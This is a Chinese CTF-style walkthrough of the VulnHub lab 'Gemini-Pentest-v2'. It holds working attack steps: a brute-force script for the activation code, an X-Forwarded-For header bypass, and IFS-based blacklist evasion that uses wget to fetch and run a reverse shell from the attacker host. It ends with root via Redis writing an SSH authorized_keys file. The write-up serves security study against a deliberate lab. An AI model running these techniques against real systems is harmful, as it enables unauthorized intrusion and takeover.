VulnHub靶机-Gemini-Pentest-v2 |红队打靶
2023-6-21 21:32:40 Author: 0x00实验室(查看原文) 阅读量:24 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 20 篇文章 

本靶机建议使用vmware

下载(镜像)

https://download.vulnhub.com/geminiinc/Gemini-Pentest-v2.zip

个人感觉难度较高,web加载国外的网页资源比较慢,不过这绝对是一个精彩绝伦的靶机

信息收集

arp-scan -l

nmap -p- ip

nmap -p22,80 -A 192.168.199.135

web渗透

先扫一下目录

可以多试几个工具几个目录字典,毕竟要是关键目录或文件没发现那就惨了

dirsearch -u http://192.168.199.135

dirsearch -u http://192.168.199.135 -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt

我们翻阅发现可以进入activate.php,registration.php,export.php,blacklist

然注册和登录是我们检测的重点,于是我们打开burp

提交时提示错误,于是我们重新写一个看看

这次没毛病

验证爆破

我们需要激活下我们的账号,我们去activate.php

其需要六位密码,我们只好爆破

我们burp是社区版,因此我们需要从seclists导入字典

经过测试id不是用户名,而是profile上url显示的u的值

爆破,启动!

but

这个爆破是真的慢

于是我们试试fuff

double but

我发现

每提交一次,token就变化一次

于是,burp用不起,fuff貌似也没这功能,贫穷的我直接落泪

只好跑脚本了

这个是github找到的,之前本来想看看有没有开源的程序源码,结果找到了这个

#!/bin/bash
url="http://192.168.199.135/activate.php"
for key in {000000..999999}; do
token=$(curl -s -c cookie $url | awk -F 'value=' '/token/ {print $2}' | cut -d "'" -f2)
resp=$(curl -s -w %{http_code} -b cookie --data "userid=15&activation_code=$key&token=${token}" $url | tail -n 1 | cut -d ">" -f2)
if [ $resp -ne 403 ]; then
echo "Key = "$key
break
fi
done

得到激活码 000511

然后我们在userlist发现了管理员账号

剩下的也没什么了

不过我们查看源码时发现了密码,应该是md5加密了的

于是我们得到

账号Gemini 密码 secretpassword

403_bypass

点击管理员的pannel下的按钮都没有反应

抓包可以看到IP NOT ALLOWED

于是我们直接X-Forwarded-For Header改一下http头

成功绕过

命令执行

我们输入命令发现其无法执行

不禁让我想到了那个blacklist

我们看一看:

//$blacklist = array(' ', 'wget', '&', '&&', '$' ,'|' , "\\", "(", ")", "%", "!", "<");
$blacklist = array(' ', '`', '&', '<', '>', '{', '}', '|', "\\", '(', ')', '%', 'cat', 'more', 'less');

不过也没说拦截ls啊

那么就有一个可能,这个命令执行根本没有回显

那么我们就只能盲人摸象了

这个黑名单很绝的地方在于无法执行有空格的命令

熟悉ctf的应该晓得一个东西

Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

不知道也没关系,马上你就懂了

我们写个反弹shell脚本名为0.sh在本机kali

然后python建立http服务,端口80

我们执行

IFS=:;a=wget:192.168.199.128/0.sh:-O/tmp/0.sh;$a
//设置IFS为:,然后定义一个变量a,它的值包含一个wget命令,这个命令使用 : 作为分隔符拼接各个参数。
最后展开$a变量,这个命令就被执行,下载了0.sh文件

下载成功

接下来我们执行它

IFS=:;a=/bin/bash:/tmp/0.sh;$a
IFS=:;a=bash:/tmp/0.sh;$a
IFS=:;a=/tmp/0.sh;$a

试了这三个运行可以,但是没回显

理论来说应该没问题,晕

试试一句话

kali自带的反弹shell

上传下

IFS=:;a=wget:192.168.199.128/php-reverse-shell.php:-O/tmp/php-reverse-shell.php;$a

然后执行

IFS=:;a=php:/tmp/php-reverse-shell.php;$a

终于得手

提权

先python -c 'import pty;pty.spawn("/bin/bash")'

然后想想常规的做法

不过没什么发现,于是上传提权脚本看看

wget http://192.168.199.128:8000/linux-exploit-suggester.sh

内核漏洞利用尝试两个失败了,我们试试linEnum

wget http://192.168.199.128:8000/LinEnum.sh

这里我们看到靶机运行了6379,这意味着其正在运行redis

而这个服务有可能是root运行

为了再次验证,我们输入

ps aux | grep root | grep redis

那么我们就开始对redis的攻击

redis提权

我们先看下配置文件

拿到密钥8a7b86a2cd89d96dfcc125ebcc0535e6

登录一下

redis-cli -h 127.0.0.1 -i 8a7b86a2cd89d96dfcc125ebcc0535e6

不过出现了显示问题

我们看不到任何回显,真的吐血

不过在大佬的帮助下我们发现可以ssh登录一下

kali先ssh-keygen生成密钥

然后靶机回家目录并创建/.ssh

然后我们上传kali机的id_rsa.pub

wget http://192.168.199.128:99/id_rsa.pub

mv idrsa.pub authorized_keys

chmod 700 authorized_keys

然后我们kali就可以直接的登录了

ssh [email protected]

然后我们的回显就正常了

我们先退出

并且对我们的authorized_keys格式转换,并将公钥写入redis数据库中

[email protected]:~/.ssh$ (echo -e "\n\n";cat authorized_keys ;echo -e "\n\n") > pub.txt
[email protected]:~/.ssh$ cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key

接下来我们登录redis,将公钥写入/root/.ssh

[email protected]:~/.ssh$ redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
127.0.0.1:6379> CONFIG set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename "authorized_keys"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

最后ssh登录root即可

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247490848&idx=1&sn=bd73ebbf51dcec9018d98ac8e000e2a3&chksm=cfd862dff8afebc955a8d9773b4a120e0e1cc4968958cf9022f3c27a8f46317489295f250ee5#rd
如有侵权请联系:admin#unsafe.sh